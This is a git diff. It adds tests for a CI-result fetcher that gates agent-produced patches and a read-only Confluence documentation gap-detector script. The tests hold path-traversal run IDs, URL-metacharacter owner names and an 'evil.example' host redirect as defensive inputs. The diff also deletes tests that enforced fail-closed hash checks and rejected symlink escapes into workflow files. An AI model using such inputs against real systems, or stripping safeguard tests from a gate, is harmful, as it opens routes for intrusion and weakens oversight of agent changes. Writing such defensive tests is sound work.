test_malformed_body_fails_closed() -> None: - client = _FakeClient(_FakeResponse(200, ValueError("not json"))) - assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None - - -def test_non_object_body_fails_closed() -> None: - client = _FakeClient(_FakeResponse(200, ["not", "a", "dict"])) - assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None - - -def test_missing_conclusion_fails_closed() -> None: - # In-progress run: conclusion is None -> not an authenticated verdict. - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": None})) - assert ( - fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) is None - ) - - -def test_timeout_fails_closed() -> None: - client = _FakeClient(raise_exc=TimeoutError("timed out")) - assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None - - -def test_connection_error_fails_closed() -> None: - client = _FakeClient(raise_exc=ConnectionError("refused")) - assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None - - -def test_missing_run_id_fails_closed() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"})) - assert ( - fetch_ci_result({"diff_hash": "x"}, owner="o", repo="r", client=client) is None - ) - # And it never even made a request. - assert client.calls == [] - - -def test_empty_run_id_fails_closed() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"})) - assert ( - fetch_ci_result( - {"run_id": "", "diff_hash": "x"}, owner="o", repo="r", client=client - ) - is None - ) - assert client.calls == [] - - -# --------------------------------------------------------------------------- # -# Missing token (no injected client) -> fails closed (does NOT raise) -# --------------------------------------------------------------------------- # - - -def test_missing_token_fails_closed(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.delenv(CI_READ_TOKEN_ENV, raising=False) - monkeypatch.delenv("GITHUB_TOKEN", raising=False) - # No client injected -> it must resolve a token; none set -> None (no raise). - assert fetch_ci_result(_state(), owner="o", repo="r") is None - - -# --------------------------------------------------------------------------- # -# Read-only contract: never derives a verdict, never writes -# --------------------------------------------------------------------------- # - - -def test_fetcher_never_returns_a_verdict_field() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 2, "conclusion": "failure"})) - out = fetch_ci_result(_state(run_id="2"), owner="o", repo="r", client=client) - assert out is not None - # The mapping is DATA only — there is no gate_decision / passed / verdict. - assert set(out.keys()) == {"run_id", "conclusion", "diff_hash"} - assert "passed" not in out - assert "gate_decision" not in out - - -def test_build_ci_result_fetcher_returns_state_callable() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 3, "conclusion": "success"})) - fetcher = build_ci_result_fetcher(owner="o", repo="r", client=client) - out = fetcher({"run_id": "3", "diff_hash": "h"}) - assert out == {"run_id": "3", "conclusion": "success", "diff_hash": "h"} - - -def test_build_ci_result_fetcher_fails_closed_on_error() -> None: - client = _FakeClient(_FakeResponse(500, {"message": "boom"})) - fetcher = build_ci_result_fetcher(owner="o", repo="r", client=client) - assert fetcher({"run_id": "3", "diff_hash": "h"}) is None - - -# --------------------------------------------------------------------------- # -# BLOCK-2: run_id validation (fail-closed; never reaches the URL) -# --------------------------------------------------------------------------- # - - -@pytest.mark.parametrize( - "bad_run_id", - [ - "abc", # non-numeric - "12a", # mixed - "../runs/999", # path traversal - "1 2", # whitespace - "1" * 21, # too long (> 20 digits) - "-1", # sign - "0x10", # hex - ], -) -def test_invalid_run_id_fails_closed(bad_run_id: str) -> None: - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"})) - assert ( - fetch_ci_result( - {"run_id": bad_run_id, "diff_hash": "x"}, - owner="o", - repo="r", - client=client, - ) - is None - ) - # It never made a request: rejected before URL construction. - assert client.calls == [] - - -def test_valid_numeric_run_id_is_accepted() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 42, "conclusion": "success"})) - out = fetch_ci_result(_state(run_id="42"), owner="o", repo="r", client=client) - assert out is not None and out["run_id"] == "42" - - -# --------------------------------------------------------------------------- # -# BLOCK-3: owner/repo validation (fail-closed; never reaches the URL) -# --------------------------------------------------------------------------- # - - -@pytest.mark.parametrize( - "owner,repo", - [ - ("o/../x", "r"), # traversal in owner - ("o", "r/runs/9"), # extra segments in repo - ("o ", "r"), # whitespace - ("o", ""), # empty repo - ("", "r"), # empty owner - ("o", "r#frag"), # url metachar - ("o?", "r"), # query metachar - ], -) -def test_invalid_owner_repo_fails_closed(owner: str, repo: str) -> None: - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"})) - assert fetch_ci_result(_state(), owner=owner, repo=repo, client=client) is None - assert client.calls == [] - - -def test_valid_owner_repo_with_dots_dashes_underscores() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"})) - out = fetch_ci_result( - _state(run_id="1"), owner="my-org.x", repo="repo_name.v2", client=client - ) - assert out is not None - assert client.calls[0][0].endswith("/repos/my-org.x/repo_name.v2/actions/runs/1") - - -# --------------------------------------------------------------------------- # -# FIX-1: conclusion allowlist (unrecognised -> fail-closed) -# --------------------------------------------------------------------------- # - - -@pytest.mark.parametrize( - "conclusion", - [ - "success", - "failure", - "cancelled", - "skipped", - "timed_out", - "action_required", - "neutral", - "stale", - "startup_failure", - ], -) -def test_allowlisted_conclusions_pass(conclusion: str) -> None: - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": conclusion})) - out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) - assert out is not None and out["conclusion"] == conclusion - - -def test_conclusion_is_normalized_lowercase() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "SUCCESS"})) - out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) - assert out is not None and out["conclusion"] == "success" - - -@pytest.mark.parametrize("bad", ["bogus", "passed", "won", "", "in_progress"]) -def test_unrecognised_conclusion_fails_closed(bad: str) -> None: - client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": bad})) - assert ( - fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) is None - ) - - -# --------------------------------------------------------------------------- # -# FIX-5: fetched_id validation (no arbitrary-string laundering) -# --------------------------------------------------------------------------- # - - -def test_integer_fetched_id_is_used() -> None: - client = _FakeClient(_FakeResponse(200, {"id": 999, "conclusion": "success"})) - out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) - assert out is not None and out["run_id"] == "999" - - -def test_numeric_string_fetched_id_is_used() -> None: - client = _FakeClient(_FakeResponse(200, {"id": "888", "conclusion": "success"})) - out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) - assert out is not None and out["run_id"] == "888" - - -@pytest.mark.parametrize( - "bad_id", - ["../evil", "abc", "9a", True, {"x": 1}, ["1"], 1.5], -) -def test_non_integer_fetched_id_falls_back_to_validated_run_id(bad_id) -> None: - client = _FakeClient(_FakeResponse(200, {"id": bad_id, "conclusion": "success"})) - out = fetch_ci_result(_state(run_id="7"), owner="o", repo="r", client=client) - # Falls back to the already-validated requested run_id, never laundering the id. - assert out is not None and out["run_id"] == "7" - - -def test_missing_fetched_id_falls_back_to_run_id() -> None: - client = _FakeClient(_FakeResponse(200, {"conclusion": "success"})) - out = fetch_ci_result(_state(run_id="55"), owner="o", repo="r", client=client) - assert out is not None and out["run_id"] == "55" - - -# --------------------------------------------------------------------------- # -# FIX-3: production builder does not accept a caller-overridable api_root -# --------------------------------------------------------------------------- # - - -def test_build_ci_result_fetcher_rejects_api_root_kwarg() -> None: - # The production builder must NOT expose api_root (so the host cannot be - # redirected from the coordinator/production wiring). - with pytest.raises(TypeError): - build_ci_result_fetcher(owner="o", repo="r", api_root="https://evil.example") diff --git a/agent-team/tests/test_ci_gate.py b/agent-team/tests/test_ci_gate.py index cdce4e9..4b0611b 100644 --- a/agent-team/tests/test_ci_gate.py +++ b/agent-team/tests/test_ci_gate.py @@ -156,21 +156,6 @@ def test_hash_none_ledger_fails() -> None: assert verify_diff_hash(diff, ledger_hash=None) is False -def test_hash_empty_ledger_fails_closed() -> None: - # An EMPTY expected hash must never be treated as a match (empty != real - # sha). Fail-closed: there is nothing to bind to. - diff = _diff_for("a.py") - assert verify_diff_hash(diff, ledger_hash="") is False - - -def test_hash_empty_ci_verified_does_not_silently_pass() -> None: - # A real ledger hash but an EMPTY ci_verified hash must not match (the empty - # string is not the recomputed sha). - diff = _diff_for("a.py") - h = _ledger_hash(diff) - assert verify_diff_hash(diff, ledger_hash=h, ci_verified_hash="") is False - - def test_hash_ci_verified_must_also_match() -> None: diff = _diff_for("a.py") h = _ledger_hash(diff) @@ -308,34 +293,6 @@ def test_gate_ignores_patch_written_success_field() -> None: assert result.decision is GateDecision.FAIL -def test_gate_blocks_on_empty_ledger_hash() -> None: - # Fail-closed: an empty ledger hash binds to nothing -> BLOCK, never a pass, - # even with an authenticated CI success. - diff = _diff_for("src/foo.py") - result = evaluate_ci_gate( - candidate_diff=diff, - ledger_hash="", - ci_result=_good_ci("run-1", diff, "success"), - expected_run_id="run-1", - ) - assert result.decision is GateDecision.BLOCK - assert any("hash" in r for r in result.reasons) - - -def test_gate_blocks_on_empty_ci_diff_hash() -> None: - # An empty CI-verified diff_hash must not silently pass the integrity check. - diff = _diff_for("src/foo.py") - ci = _good_ci("run-1", diff, "success") - ci["diff_hash"] = "" - result = evaluate_ci_gate( - candidate_diff=diff, - ledger_hash=_ledger_hash(diff), - ci_result=ci, - expected_run_id="run-1", - ) - assert result.decision is GateDecision.BLOCK - - def test_gate_blocks_when_ci_diff_hash_mismatch() -> None: # CI verified a different diff than the ledger recorded -> BLOCK. diff = _diff_for("src/foo.py") diff --git a/agent-team/tests/test_ci_gate_workflow.py b/agent-team/tests/test_ci_gate_workflow.py index 3a02fa4..3e986f8 100644 --- a/agent-team/tests/test_ci_gate_workflow.py +++ b/agent-team/tests/test_ci_gate_workflow.py @@ -84,15 +84,6 @@ SYMLINK = ( "diff --git a/src/link b/src/link\nnew file mode 120000\n" "--- /dev/null\n+++ b/src/link\n@@ -0,0 +1 @@\n+../.github/workflows\n" ) -# A diff that CHANGES an existing regular file into a symlink (mode 100644 -> -# 120000). The escape vector is the same: the link target redirects later writes -# into a denied path that textual matching cannot see. Must be rejected too. -SYMLINK_MODE_CHANGE = ( - "diff --git a/src/existing b/src/existing\n" - "old mode 100644\nnew mode 120000\n" - "--- a/src/existing\n+++ b/src/existing\n@@ -1 +1 @@\n-regular contents\n" - "+../.github/workflows\n" -) WORKFLOW_DELETE = ( "diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml\n" "deleted file mode 100644\n--- a/.github/workflows/ci.yml\n+++ /dev/null\n" @@ -132,12 +123,6 @@ def test_symlink_addition_is_rejected(guard_script: Path, tmp_path: Path) -> Non assert _run_guard(guard_script, tmp_path, SYMLINK, "src/**") == 7 -def test_symlink_mode_change_is_rejected(guard_script: Path, tmp_path: Path) -> None: - # A regular file FLIPPED to a symlink (mode 120000) is the same escape vector - # and must also be rejected (exit 7), not just brand-new symlinks. - assert _run_guard(guard_script, tmp_path, SYMLINK_MODE_CHANGE, "src/**") == 7 - - def test_non_utf8_diff_fails_closed(guard_script: Path, tmp_path: Path) -> None: assert _run_guard(guard_script, tmp_path, NON_UTF8, "src/**") == 8 diff --git a/security-review/checkers/compliance-drift.sh b/security-review/checkers/compliance-drift.sh index d65175d..3115d11 100755 --- a/security-review/checkers/compliance-drift.sh +++ b/security-review/checkers/compliance-drift.sh @@ -342,6 +342,13 @@ if [ "$CANARY" -eq 1 ]; then nm="$(basename "$d")" cp -R "$d" "$FIXTURE_WORK/$nm" mv "$FIXTURE_WORK/$nm/dotgit" "$FIXTURE_WORK/$nm/.git" + # The planted-secret env file is shipped as `dotenv.fixture` (NOT `.env`): the repo's + # root .gitignore lists `.env`, so a literal `.env` fixture would never be committed and + # the secrets-committed drift would vanish on a fresh clone. Restore it to `.env` in the + # materialized work area (the dotgit/ index already TRACKS `.env`, so ls-files still + # reports it). Same committable-without-side-effects rationale as the `.fixture` suffix the + # dependency-cve fixtures use for their manifests. + [ -f "$FIXTURE_WORK/$nm/dotenv.fixture" ] && mv "$FIXTURE_WORK/$nm/dotenv.fixture" "$FIXTURE_WORK/$nm/.env" REPO_NAMES+=( "$nm" ); REPO_DIR["$nm"]="$FIXTURE_WORK/$nm" done elif [ -n "$TARGETS_OVERRIDE" ]; then diff --git a/security-review/checkers/confluence-doc.sh b/security-review/checkers/confluence-doc.sh new file mode 100755 index 0000000..cdc8ac8 --- /dev/null +++ b/security-review/checkers/confluence-doc.sh @@ -0,0 +1,471 @@ +#!/usr/bin/env bash +# confluence-doc.sh — Plane-1 SCHEDULED documentation gap-detector (RECOMMEND-ONLY). +# +# Design refs: docs/r720-agent-team-design.md §4 (confluence-doc row) and §7 Phase 4. +# Decisions D3 + D6 + D7: +# D3 Report/recommend-only to start; no auto-Notion/Jira writes. +# D6 Confluence writes (the LATER on-demand path) use a dedicated IT-space-scoped +# `confluence-bot` Atlassian service account — PROVISIONING, gated (see footer). +# D7 SCHEDULED mode = read + RECOMMEND only: doc gaps / stale pages / missing runbooks go +# INTO the mode-600 report, NEVER auto-written. The on-demand SSH-invoked WRITE path +# (including Mermaid edits via ~/.claude/scripts/confluence_mermaid.py) is a separate, +# LATER provisioning path and is NOT implemented here. +# This mirrors compliance-drift.sh / dependency-cve.sh conventions VERBATIM so the coordinator +# (§5) drives it identically. +# +# WHAT IT DOES (read-only, RECOMMEND-ONLY): +# Diffs three documentation INPUTS against what Confluence's IT space actually documents, and +# REPORTS the gaps as recommendations (never writes): +# 1. REPO SET — every non-archived org repo (from the same $MIRROR_DIR mirrors the +# sweep already produced; or --targets / a fixture repo list) SHOULD +# have a Confluence page in the IT page-ID map. A repo with no mapped +# page is a "doc gap" recommendation. +# 2. AWS INVENTORY — (optional) a read-only AWS resource inventory JSON (stacks/Lambdas) +# SHOULD each be represented in the AWS Architecture Map / a page. +# A resource absent from the map is a "missing-from-architecture-map" +# recommendation. Absent inventory file => that whole check is SKIPPED +# (noted, never a gap on missing data). +# 3. PAGE-ID MAP — required runbook/standing pages (Incident Response Runbooks, Backup & +# DR, IAM & Access) SHOULD exist in the map. A required page missing +# from the map is a "missing-runbook" recommendation. Optionally, the +# LIVE Confluence API confirms each mapped page still exists and is not +# stale (lastUpdated older than $STALE_DAYS). +# +# The page-ID map is the canonical one from memory project_confluence_migration (IT space +# 720900). It is supplied as a JSON file (--page-map / $PAGE_MAP_FILE); the canary ships a +# mock map. We do NOT hardcode the live IDs into this script — they live in the map file so +# the map can evolve without a code change. +# +# CONFLUENCE API (LIVE reads need the confluence-bot token — PROVISIONING): +# The staleness / page-existence checks call the Confluence Cloud REST API read-only using +# CONFLUENCE_BASE_URL + CONFLUENCE_EMAIL + CONFLUENCE_API_TOKEN (the confluence-bot creds, +# D6). When those are ABSENT, OR --no-api / --canary is passed, the API checks are SKIPPED +# and NOTED — they are NEVER reported as a gap on missing data (memory +# feedback_cloudwatch_alarms: no false alarms on no-data). This mirrors compliance-drift's +# GitHub-API-skip pattern EXACTLY (status-code-aware: 200 -> parse, 404 -> a real "page gone" +# gap, anything else -> skip with NO alarm). The token / service account is gated provisioning. +# +# ON-DEMAND WRITE PATH (NOT HERE — provisioning): an actual Confluence update, including Mermaid +# architecture-map edits, goes through ~/.claude/scripts/confluence_mermaid.py (ADF-only, +# dry-run-default, macro-count + revert-diff guarded — it has destroyed page 1540098 before via +# a full-body markdown round-trip, so ADF-only is load-bearing). That --apply / live-dry-run is +# the LATER on-demand path and is gated. See the PROVISIONING footer. +# +# CANARY / DRY-RUN (offline, no network, no token): +# --canary runs against a fixture (checkers/fixtures/confluence-doc/): a repo list, a MOCK +# page-ID map, and a MOCK "confluence inventory" JSON (what the API would have returned). It +# asserts the known gap count against EXPECTED_GAP_COUNT (exit 3 on mismatch). --canary implies +# --dry-run + --no-api, so it is fully offline + deterministic. This is the anti-complacency +# floor (design §6.4) AND the routing dry-run. +# +# SCOPE / SAFETY: +# Read-only + RECOMMEND-only. Never writes Confluence, never creates a service account, never +# calls the Mermaid --apply path. Not wired into systemd. See PROVISIONING footer. +# +# Exit: 0 = ran (whether or not it found gaps); 2 = setup/usage error; 3 = canary assertion FAILED. +set -euo pipefail +export PATH="$HOME/.local/bin:/opt/homebrew/bin:/usr/local/bin:$PATH" + +log() { echo "[confluence-doc] $*" >&2; } +die() { echo "[confluence-doc] FATAL: $*" >&2; exit 2; } + +# --- Shared substrate --------------------------------------------------------- +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SUBSTRATE="$HERE/../lib/sweep_substrate.sh" +[ -f "$SUBSTRATE" ] || die "shared substrate not found: $SUBSTRATE" +# shellcheck source=../lib/sweep_substrate.sh +. "$SUBSTRATE" + +# --- Config + defaults (env, all optional) ------------------------------------ +GH_ORG="${GH_ORG:-Sea-Haven-Industries}" +MIRROR_DIR="${MIRROR_DIR:-$HOME/repo-mirrors}" +REPORT_ROOT="${REPORT_ROOT:-$HOME/sweep-reports/confluence-doc}" +# Canonical IT page-ID map (memory project_confluence_migration). JSON, NOT hardcoded here. +PAGE_MAP_FILE="${PAGE_MAP_FILE:-}" +# Optional read-only AWS inventory JSON (stacks/Lambdas) — absent => that check is SKIPPED. +AWS_INVENTORY_FILE="${AWS_INVENTORY_FILE:-}" +# Confluence Cloud REST (the confluence-bot creds, D6) — absent => API checks SKIPPED. +CONFLUENCE_BASE_URL="${CONFLUENCE_BASE_URL:-}" +CONFLUENCE_EMAIL="${CONFLUENCE_EMAIL:-}" +CONFLUENCE_API_TOKEN="${CONFLUENCE_API_TOKEN:-}" +# A mapped page is "stale" if its lastUpdated is older than this many days (API check only). +STALE_DAYS="${STALE_DAYS:-180}" +# Repos exempt from needing their own IT page (mirrors compliance-drift's exemption style). +DOC_EXEMPT_REPOS="${DOC_EXEMPT_REPOS:-engineering-handbook}" +# Required standing/runbook pages every IT space must document (page-map keys). +REQUIRED_PAGES="${REQUIRED_PAGES:-Incident Response Runbooks,Backup & Disaster Recovery,IAM & Access Management}" + +REFRESH=0 # --refresh: re-discover + re-mirror via substrate (network). Default: reuse mirrors. +DO_API=1 # --no-api: skip the LIVE Confluence API checks (offline). +DRY_RUN=0 # --dry-run: compose any digest but DO NOT post/write (recommend-only). +CANARY=0 # --canary: run against the fixture + assert the known gap count. +TARGETS_OVERRIDE="" # --targets "p1 p2": use these repo names instead of the mirror set. + +usage() { + cat >&2 < check SKIPPED + --refresh re-discover + re-mirror via the shared substrate before scanning (network) + --targets "a b" use these repo names instead of \$MIRROR_DIR/* (no clone) + -h|--help this help + +Env: GH_ORG MIRROR_DIR REPORT_ROOT PAGE_MAP_FILE AWS_INVENTORY_FILE STALE_DAYS + CONFLUENCE_BASE_URL CONFLUENCE_EMAIL CONFLUENCE_API_TOKEN (confluence-bot, D6) + DOC_EXEMPT_REPOS REQUIRED_PAGES SLACK_WEBHOOK_URL +EOF +} + +while [ $# -gt 0 ]; do + case "$1" in + --canary) CANARY=1; DRY_RUN=1; DO_API=0 ;; + --dry-run) DRY_RUN=1 ;; + --no-api) DO_API=0 ;; + --page-map) shift; PAGE_MAP_FILE="${1:-}" ;; + --aws-inventory) shift; AWS_INVENTORY_FILE="${1:-}" ;; + --refresh) REFRESH=1 ;; + --targets) shift; TARGETS_OVERRIDE="${1:-}" ;; + -h|--help) usage; exit 0 ;; + *) die "unknown arg: $1 (see --help)" ;; + esac + shift +done + +command -v jq >/dev/null || die "jq is required" +command -v git >/dev/null || die "git is required" + +# --- Report dir (mode 600 reports; matches sweep conventions) ----------------- +umask 077 +UTC_DATE="$(date -u +%Y-%m-%d)" +UTC_STAMP="$(date -u +%Y-%m-%dT%H:%M:%SZ)" +REPORT_DIR="$REPORT_ROOT/$UTC_DATE" +mkdir -p "$REPORT_DIR"; chmod 700 "$REPORT_ROOT" "$REPORT_DIR" 2>/dev/null || true +# shellcheck disable=SC2034 # read by the sourced substrate (post_slack_alarm) via dynamic scope +SWEEP_LOG="$REPORT_DIR/confluence-doc.log" +REPORT_JSON="$REPORT_DIR/confluence-doc.json" +REPORT_TXT="$REPORT_DIR/confluence-doc.txt" + +log "=== confluence-doc $UTC_STAMP (canary=$CANARY dry_run=$DRY_RUN api=$DO_API refresh=$REFRESH) ===" + +# ------------------------------------------------------------------------------ +# GAPS (spirit of finding.schema.json so the coordinator + plan-groomer can consume them like +# any finding). category="other" (a doc gap is not a security category). status="confirmed" +# only for deterministic facts: a repo absent from the supplied map, an AWS resource absent +# from the supplied inventory-vs-map diff, a required page missing from the map, or an explicit +# API 404 (mapped page gone). A SKIPPED API check is NEVER a gap (feedback_cloudwatch_alarms). +# ------------------------------------------------------------------------------ +declare -a GAPS=() +add_gap() { # subject id title severity check proof + local subject="$1" id="$2" title="$3" sev="$4" check="$5" proof="$6" + GAPS+=( "$(jq -n \ + --arg repo "$subject" --arg id "$id" --arg title "$title" --arg sev "$sev" \ + --arg check "$check" --arg proof "$proof" \ + '{repo:$repo, id:($repo+"-"+$id), title:$title, severity:$sev, category:"other", + check:$check, status:"confirmed", recommendation:$proof}')" ) +} +declare -a SKIPPED_CHECKS=() # (subject:reason) checks skipped on missing data — never a gap +note_skip() { SKIPPED_CHECKS+=( "$1" ); } + +in_csv() { # needle csv -> 0 if present + local n="$1" csv="$2"; case ",$csv," in *",$n,"*) return 0 ;; *) return 1 ;; esac +} + +# --- Page-map lookup: is there a page whose key (page title) matches NAME? ----- +# The map is a JSON object {"": , ...} (the canary mock + the real +# project_confluence_migration export share this shape). A repo "documented" if a page title +# contains the repo name (case-insensitive), since IT pages are titled e.g. "Payments Dashboard" +# for repo "payments-dashboard". +map_has_page_for_repo() { # repo + local repo="$1" + # normalize repo (kebab) -> a loose token to match against page titles + local needle; needle="$(echo "$repo" | tr '[:upper:]' '[:lower:]' | tr -cd '[:alnum:]')" + jq -e --arg n "$needle" ' + (keys // [])[] | (ascii_downcase | gsub("[^a-z0-9]";"")) | select(contains($n)) + ' "$PAGE_MAP_FILE" >/dev/null 2>&1 +} +map_has_exact_key() { # exact page title + local key="$1" + jq -e --arg k "$key" 'has($k)' "$PAGE_MAP_FILE" >/dev/null 2>&1 +} + +# ============================================================================== +# CONFLUENCE API (LIVE reads; need the confluence-bot creds; skipped offline/--no-api/--canary) +# ============================================================================== +# Confirm a mapped page still exists and is not stale. Status-code-aware, mirroring +# compliance-drift's branch-protection pattern exactly: +# 200 -> parse lastUpdated, flag if older than STALE_DAYS +# 404 -> a mapped page that is GONE -> that IS a confirmed gap +# anything else (401/403/5xx/000 transient) -> SKIP with NO gap (no false alarm on no-data) +conf_check_page() { # page_title page_id + local title="$1" pid="$2" + local tmp code body + tmp="$(mktemp)" + code="$(curl -sS -o "$tmp" -w '%{http_code}' \ + -u "$CONFLUENCE_EMAIL:$CONFLUENCE_API_TOKEN" \ + -H 'Accept: application/json' \ + "$CONFLUENCE_BASE_URL/wiki/api/v2/pages/$pid?body-format=storage" \ + 2>>"$REPORT_DIR/confluence-api.log" || echo 000)" + body="$(cat "$tmp" 2>/dev/null)"; rm -f "$tmp" + case "$code" in + 200) + local updated upd_epoch now_epoch age_days + updated="$(echo "$body" | jq -r '.version.createdAt // .createdAt // empty' 2>/dev/null)" + [ -n "$updated" ] || { note_skip "$title:staleness(no-timestamp)"; return; } + upd_epoch="$(to_epoch "${updated%%T*}")"; now_epoch="$(date -u +%s)" + [ "$upd_epoch" -gt 0 ] || { note_skip "$title:staleness(unparseable-date)"; return; } + age_days=$(( (now_epoch - upd_epoch) / 86400 )) + if [ "$age_days" -gt "$STALE_DAYS" ]; then + add_gap "$title" "stale-page" \ + "Page '$title' is stale (last updated ${age_days}d ago, > ${STALE_DAYS}d)" "low" "stale-page" \ + "review + refresh the IT page; docs must track the system (global CLAUDE.md docs obligation)" + fi + ;; + 404) + add_gap "$title" "page-gone" \ + "Mapped page '$title' (id $pid) returns 404 — page deleted/moved" "high" "page-existence" \ + "the page-ID map points at a non-existent page; fix the map or restore the page" + ;; + *) note_skip "$title:api(http-$code)" ;; # transient/forbidden -> NO gap on missing data + esac +} + +# ============================================================================== +# TARGET RESOLUTION (repo set + map + inventory) +# ============================================================================== +declare -a REPO_NAMES=() + +if [ "$CANARY" -eq 1 ]; then + FIXTURE_ROOT="$HERE/fixtures/confluence-doc" + [ -d "$FIXTURE_ROOT" ] || die "canary fixture missing: $FIXTURE_ROOT" + PAGE_MAP_FILE="$FIXTURE_ROOT/mock-page-map.json" + AWS_INVENTORY_FILE="$FIXTURE_ROOT/mock-aws-inventory.json" + [ -f "$PAGE_MAP_FILE" ] || die "canary mock page-map missing: $PAGE_MAP_FILE" + [ -f "$AWS_INVENTORY_FILE" ] || die "canary mock aws inventory missing: $AWS_INVENTORY_FILE" + # Pin the exception + required-page lists the fixture was authored against (deterministic). + DOC_EXEMPT_REPOS="engineering-handbook" + REQUIRED_PAGES="Incident Response Runbooks,Backup & Disaster Recovery,IAM & Access Management" + STALE_DAYS="180" + # The fixture repo set is a newline-delimited list (no git checkout needed — confluence-doc + # diffs NAMES against the map, it does not scan repo contents). + while IFS= read -r r; do + r="$(echo "$r" | tr -d '[:space:]')"; [ -n "$r" ] && REPO_NAMES+=( "$r" ) + done < "$FIXTURE_ROOT/repos.txt" + log "canary: ${#REPO_NAMES[@]} fixture repo(s); mock map + mock inventory" +elif [ -n "$TARGETS_OVERRIDE" ]; then + # shellcheck disable=SC2206 # intentional word-split of the space-separated --targets list + arr=( $TARGETS_OVERRIDE ) + for p in "${arr[@]}"; do nm="$(basename "$p")"; REPO_NAMES+=( "$nm" ); done + log "explicit targets: ${REPO_NAMES[*]}" +else + if [ "$REFRESH" -eq 1 ]; then + [ -n "${GH_TOKEN:-}" ] || die "--refresh needs GH_TOKEN" + command -v curl >/dev/null || die "--refresh needs curl" + mkdir -p "$MIRROR_DIR" + log "refresh: re-discovering + mirroring via shared substrate (no separate clone path)" + DISCOVERED="$REPORT_DIR/discovered.tsv" + if discover_repos > "$DISCOVERED" 2>>"$REPORT_DIR/discover.log" && [ -s "$DISCOVERED" ]; then + while IFS=$'\t' read -r name url branch; do + [ -n "$name" ] || continue + mirror_repo "$name" "$url" "$branch" || log " mirror FAILED: $name (will use stale mirror if present)" + done < "$DISCOVERED" + else + log "discovery failed — falling back to existing mirrors (coverage may be stale)" + fi + fi + [ -d "$MIRROR_DIR" ] || die "mirror dir not found: $MIRROR_DIR (run nightly_sweep.sh first, or use --refresh/--targets)" + for d in "$MIRROR_DIR"/*/; do + [ -d "$d/.git" ] || continue + nm="$(basename "$d")"; REPO_NAMES+=( "$nm" ) + done + log "reusing ${#REPO_NAMES[@]} existing mirror(s) in $MIRROR_DIR (no re-clone)" +fi + +[ "${#REPO_NAMES[@]}" -gt 0 ] || die "no repos to diff" +[ -n "$PAGE_MAP_FILE" ] || die "no page-ID map (--page-map PATH or \$PAGE_MAP_FILE); cannot diff repos vs Confluence" +[ -f "$PAGE_MAP_FILE" ] || die "page-ID map not found: $PAGE_MAP_FILE" +jq -e 'type=="object"' "$PAGE_MAP_FILE" >/dev/null 2>&1 || die "page-ID map is not a JSON object: $PAGE_MAP_FILE" + +# Decide whether the LIVE Confluence API runs: need creds, API enabled, curl, not offline canary. +RUN_API=0 +if [ "$DO_API" -eq 1 ] && [ -n "$CONFLUENCE_BASE_URL" ] && [ -n "$CONFLUENCE_EMAIL" ] \ + && [ -n "$CONFLUENCE_API_TOKEN" ] && command -v curl >/dev/null; then + RUN_API=1 +elif [ "$DO_API" -eq 1 ]; then + log "Confluence API requested but confluence-bot creds/curl unavailable — skipping live checks (no false alarms on missing data; the service account is gated provisioning)." +fi + +# ============================================================================== +# CHECK 1 — REPO SET vs page-ID map (every non-exempt repo SHOULD have an IT page) +# ============================================================================== +for nm in "${REPO_NAMES[@]}"; do + in_csv "$nm" "$DOC_EXEMPT_REPOS" && { note_skip "$nm:repo-page(doc-exempt)"; continue; } + if ! map_has_page_for_repo "$nm"; then + add_gap "$nm" "no-it-page" \ + "Repo '$nm' has no Confluence IT page in the page-ID map" "medium" "repo-documented" \ + "create an IT page for '$nm' (sh-confluence) and add it to project_confluence_migration" + fi +done + +# ============================================================================== +# CHECK 2 — AWS INVENTORY vs page-ID map (optional; absent file => SKIP, never a gap) +# ============================================================================== +if [ -n "$AWS_INVENTORY_FILE" ] && [ -f "$AWS_INVENTORY_FILE" ]; then + if jq -e '.resources | type=="array"' "$AWS_INVENTORY_FILE" >/dev/null 2>&1; then + # Each resource SHOULD be represented on a page in the map (by name token match). + while IFS= read -r res; do + [ -n "$res" ] || continue + rname="$(echo "$res" | jq -r '.name // empty')" + rtype="$(echo "$res" | jq -r '.type // "resource"')" + [ -n "$rname" ] || continue + needle="$(echo "$rname" | tr '[:upper:]' '[:lower:]' | tr -cd '[:alnum:]')" + if ! jq -e --arg n "$needle" ' + (keys // [])[] | (ascii_downcase | gsub("[^a-z0-9]";"")) | select(contains($n)) + ' "$PAGE_MAP_FILE" >/dev/null 2>&1; then + add_gap "$rname" "aws-not-in-map" \ + "AWS $rtype '$rname' is not represented in the IT page-ID map / architecture map" "medium" "aws-documented" \ + "add '$rname' to the AWS Architecture Map (page 1540098) + an IT page; Mermaid edits via confluence_mermaid.py (on-demand path, provisioning)" + fi + done < <(jq -c '.resources[]' "$AWS_INVENTORY_FILE") + else + note_skip "aws-inventory:malformed(no-resources-array)" + fi +else + note_skip "aws-inventory:absent(check-skipped)" # missing inventory -> SKIP, never a gap +fi + +# ============================================================================== +# CHECK 3 — REQUIRED standing/runbook pages present in the map +# ============================================================================== +IFS=',' read -r -a req_arr <<< "$REQUIRED_PAGES" +for page in "${req_arr[@]}"; do + page="$(echo "$page" | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//')" + [ -n "$page" ] || continue + if ! map_has_exact_key "$page"; then + add_gap 